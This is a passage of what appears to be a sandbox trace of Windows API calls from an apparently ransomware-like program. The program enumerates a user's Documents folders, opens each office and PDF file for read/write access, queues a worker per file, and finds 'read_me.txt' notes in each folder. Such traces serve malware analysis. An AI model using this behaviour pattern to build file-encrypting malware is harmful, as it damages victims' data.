ftCreationTime.dwHighDateTime=0x1d5233d, ftLastAccessTime.dwLowDateTime=0xd61cf9d0, ftLastAccessTime.dwHighDateTime=0x1d52a6e, ftLastWriteTime.dwLowDateTime=0xd61cf9d0, ftLastWriteTime.dwHighDateTime=0x1d52a6e, nFileSizeHigh=0x0, nFileSizeLow=0x7cbf, dwReserved0=0x540000, dwReserved1=0x0, cFileName="i CWCeF5i.xlsx", cAlternateFileName="ICWCEF~1.XLS")) returned 1 [0078.656] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\i CWCeF5i.xlsx") returned 58 [0078.656] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\i CWCeF5i.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i cwcef5i.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0078.656] QueueUserWorkItem (Function=0x404e00, Context=0x878, Flags=0x0) returned 1 [0078.656] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe193c40, ftCreationTime.dwHighDateTime=0x1d56051, ftLastAccessTime.dwLowDateTime=0x1cdb13a0, ftLastAccessTime.dwHighDateTime=0x1d52828, ftLastWriteTime.dwLowDateTime=0x1cdb13a0, ftLastWriteTime.dwHighDateTime=0x1d52828, nFileSizeHigh=0x0, nFileSizeLow=0x372b, dwReserved0=0x540000, dwReserved1=0x0, cFileName="iJf6hbNSS.xlsx", cAlternateFileName="IJF6HB~1.XLS")) returned 1 [0078.656] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\iJf6hbNSS.xlsx") returned 58 [0078.656] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\iJf6hbNSS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ijf6hbnss.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0078.657] QueueUserWorkItem (Function=0x404e00, Context=0x87c, Flags=0x0) returned 1 [0078.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c0f6a0, ftCreationTime.dwHighDateTime=0x1d57f94, ftLastAccessTime.dwLowDateTime=0xae55f2a0, ftLastAccessTime.dwHighDateTime=0x1d5248b, ftLastWriteTime.dwLowDateTime=0xae55f2a0, ftLastWriteTime.dwHighDateTime=0x1d5248b, nFileSizeHigh=0x0, nFileSizeLow=0x184ce, dwReserved0=0x540000, dwReserved1=0x0, cFileName="IjQfXQvBJ ATELoweEnS.pptx", cAlternateFileName="IJQFXQ~1.PPT")) returned 1 [0078.657] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IjQfXQvBJ ATELoweEnS.pptx") returned 69 [0078.657] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IjQfXQvBJ ATELoweEnS.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ijqfxqvbj ateloweens.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0078.657] QueueUserWorkItem (Function=0x404e00, Context=0x880, Flags=0x0) returned 1 [0078.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0078.657] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned 52 [0078.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0078.657] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned 55 [0078.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0078.657] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned 53 [0078.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0078.657] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned 53 [0078.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x622afd60, ftCreationTime.dwHighDateTime=0x1d560fb, ftLastAccessTime.dwLowDateTime=0xbb7a2670, ftLastAccessTime.dwHighDateTime=0x1d53888, ftLastWriteTime.dwLowDateTime=0xbb7a2670, ftLastWriteTime.dwHighDateTime=0x1d53888, nFileSizeHigh=0x0, nFileSizeLow=0xa15d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NVNMMK0GjdgZsRve.docx", cAlternateFileName="NVNMMK~1.DOC")) returned 1 [0078.657] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NVNMMK0GjdgZsRve.docx") returned 65 [0078.657] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NVNMMK0GjdgZsRve.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nvnmmk0gjdgzsrve.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0078.657] QueueUserWorkItem (Function=0x404e00, Context=0x884, Flags=0x0) returned 1 [0078.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0078.657] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned 57 [0078.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b4c260, ftCreationTime.dwHighDateTime=0x1d5977c, ftLastAccessTime.dwLowDateTime=0xc32d5c0, ftLastAccessTime.dwHighDateTime=0x1d56396, ftLastWriteTime.dwLowDateTime=0xc32d5c0, ftLastWriteTime.dwHighDateTime=0x1d56396, nFileSizeHigh=0x0, nFileSizeLow=0xd3c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pMI93.pptx", cAlternateFileName="PMI93~1.PPT")) returned 1 [0078.657] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pMI93.pptx") returned 54 [0078.657] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pMI93.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pmi93.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0078.658] QueueUserWorkItem (Function=0x404e00, Context=0x888, Flags=0x0) returned 1 [0078.658] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab00630, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.658] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\read_me.txt") returned 55 [0078.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0078.658] QueueUserWorkItem (Function=0x404e00, Context=0x88c, Flags=0x0) returned 1 [0078.658] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67758fb0, ftCreationTime.dwHighDateTime=0x1d4cf2e, ftLastAccessTime.dwLowDateTime=0xdc0a4790, ftLastAccessTime.dwHighDateTime=0x1d4cd61, ftLastWriteTime.dwLowDateTime=0xdc0a4790, ftLastWriteTime.dwHighDateTime=0x1d4cd61, nFileSizeHigh=0x0, nFileSizeLow=0xd105, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yerk2qfakppKCYmHnE4.docx", cAlternateFileName="YERK2Q~1.DOC")) returned 1 [0078.658] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yerk2qfakppKCYmHnE4.docx") returned 68 [0078.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yerk2qfakppKCYmHnE4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yerk2qfakppkcymhne4.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0078.658] QueueUserWorkItem (Function=0x404e00, Context=0x890, Flags=0x0) returned 1 [0078.658] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67758fb0, ftCreationTime.dwHighDateTime=0x1d4cf2e, ftLastAccessTime.dwLowDateTime=0xdc0a4790, ftLastAccessTime.dwHighDateTime=0x1d4cd61, ftLastWriteTime.dwLowDateTime=0xdc0a4790, ftLastWriteTime.dwHighDateTime=0x1d4cd61, nFileSizeHigh=0x0, nFileSizeLow=0xd105, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yerk2qfakppkcymhne4.docx", cAlternateFileName="YERK2Q~1.DOC")) returned 0 [0078.658] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.658] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\read_me.txt") returned 55 [0078.658] GetProcessHeap () returned 0x540000 [0078.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42120c0 | out: hHeap=0x540000) returned 1 [0078.658] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 45 [0078.658] GetProcessHeap () returned 0x540000 [0078.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41f20b0 | out: hHeap=0x540000) returned 1 [0078.658] GetProcessHeap () returned 0x540000 [0078.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41f20b0 [0078.658] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\*") returned 50 [0078.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6dbcc0, ftCreationTime.dwHighDateTime=0x1d4c991, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.659] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\.") returned 50 [0078.659] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6dbcc0, ftCreationTime.dwHighDateTime=0x1d4c991, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.659] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\..") returned 51 [0078.659] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x666f32e0, ftCreationTime.dwHighDateTime=0x1d4cf94, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9c R7b", cAlternateFileName="9CR7B~1")) returned 1 [0078.659] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b") returned 55 [0078.659] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5c42310, ftCreationTime.dwHighDateTime=0x1d4c5ee, ftLastAccessTime.dwLowDateTime=0x8ec65980, ftLastAccessTime.dwHighDateTime=0x1d4c7ec, ftLastWriteTime.dwLowDateTime=0x8ec65980, ftLastWriteTime.dwHighDateTime=0x1d4c7ec, nFileSizeHigh=0x0, nFileSizeLow=0x14fde, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="akYo4q.pdf", cAlternateFileName="")) returned 1 [0078.659] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\akYo4q.pdf") returned 59 [0078.659] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\akYo4q.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\akyo4q.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0078.659] QueueUserWorkItem (Function=0x404e00, Context=0x894, Flags=0x0) returned 1 [0078.659] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef70f200, ftCreationTime.dwHighDateTime=0x1d4cd63, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bz53hXV-ojIo9T", cAlternateFileName="BZ53HX~1")) returned 1 [0078.659] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T") returned 63 [0078.659] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c08e800, ftCreationTime.dwHighDateTime=0x1d4c54b, ftLastAccessTime.dwLowDateTime=0xa5b88500, ftLastAccessTime.dwHighDateTime=0x1d4c9f9, ftLastWriteTime.dwLowDateTime=0xa5b88500, ftLastWriteTime.dwHighDateTime=0x1d4c9f9, nFileSizeHigh=0x0, nFileSizeLow=0x12745, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FA9DS7OghoViH.ods", cAlternateFileName="FA9DS7~1.ODS")) returned 1 [0078.659] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\FA9DS7OghoViH.ods") returned 66 [0078.659] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\FA9DS7OghoViH.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\fa9ds7oghovih.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0078.659] QueueUserWorkItem (Function=0x404e00, Context=0x898, Flags=0x0) returned 1 [0078.659] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1c73c0, ftCreationTime.dwHighDateTime=0x1d4ca7b, ftLastAccessTime.dwLowDateTime=0xc59943a0, ftLastAccessTime.dwHighDateTime=0x1d4d34f, ftLastWriteTime.dwLowDateTime=0xc59943a0, ftLastWriteTime.dwHighDateTime=0x1d4d34f, nFileSizeHigh=0x0, nFileSizeLow=0x31e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JsWP-Gwzz5q.ods", cAlternateFileName="JSWP-G~1.ODS")) returned 1 [0078.659] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\JsWP-Gwzz5q.ods") returned 64 [0078.659] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\JsWP-Gwzz5q.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\jswp-gwzz5q.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0078.660] QueueUserWorkItem (Function=0x404e00, Context=0x89c, Flags=0x0) returned 1 [0078.660] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62c780, ftCreationTime.dwHighDateTime=0x1d4d158, ftLastAccessTime.dwLowDateTime=0x5a6ac3c0, ftLastAccessTime.dwHighDateTime=0x1d4c7c8, ftLastWriteTime.dwLowDateTime=0x5a6ac3c0, ftLastWriteTime.dwHighDateTime=0x1d4c7c8, nFileSizeHigh=0x0, nFileSizeLow=0x14a65, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MQ qIxIJHpmz5uNUoaN.odp", cAlternateFileName="MQQIXI~1.ODP")) returned 1 [0078.660] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\MQ qIxIJHpmz5uNUoaN.odp") returned 72 [0078.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\MQ qIxIJHpmz5uNUoaN.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\mq qixijhpmz5unuoan.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0078.660] QueueUserWorkItem (Function=0x404e00, Context=0x8a0, Flags=0x0) returned 1 [0078.660] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6da4aab0, ftCreationTime.dwHighDateTime=0x1d4cf92, ftLastAccessTime.dwLowDateTime=0xf2926be0, ftLastAccessTime.dwHighDateTime=0x1d4d109, ftLastWriteTime.dwLowDateTime=0xf2926be0, ftLastWriteTime.dwHighDateTime=0x1d4d109, nFileSizeHigh=0x0, nFileSizeLow=0x10f11, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M__W3v9NQTHJaSIq1.docx", cAlternateFileName="M__W3V~1.DOC")) returned 1 [0078.660] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\M__W3v9NQTHJaSIq1.docx") returned 71 [0078.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\M__W3v9NQTHJaSIq1.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\m__w3v9nqthjasiq1.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0078.660] QueueUserWorkItem (Function=0x404e00, Context=0x8a4, Flags=0x0) returned 1 [0078.660] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a843e40, ftCreationTime.dwHighDateTime=0x1d4ce14, ftLastAccessTime.dwLowDateTime=0xc61ab150, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0xc61ab150, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x16e4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OtlYFfWk WbY-Q82h.rtf", cAlternateFileName="OTLYFF~1.RTF")) returned 1 [0078.660] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\OtlYFfWk WbY-Q82h.rtf") returned 70 [0078.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\OtlYFfWk WbY-Q82h.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\otlyffwk wby-q82h.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0078.660] QueueUserWorkItem (Function=0x404e00, Context=0x8a8, Flags=0x0) returned 1 [0078.660] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa680b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.660] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\read_me.txt") returned 60 [0078.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0078.660] GetProcessHeap () returned 0x540000 [0078.660] RtlAllocateHeap 